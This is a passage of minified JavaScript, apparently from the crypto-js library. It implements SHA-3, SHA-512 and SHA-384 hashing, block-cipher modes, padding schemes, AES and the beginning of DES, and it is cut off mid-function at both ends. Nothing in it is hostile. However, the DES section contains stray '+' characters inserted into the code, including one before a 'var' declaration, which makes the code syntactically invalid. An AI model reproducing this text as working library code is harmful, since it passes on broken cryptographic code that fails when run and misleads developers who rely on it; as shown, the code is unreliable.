f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, 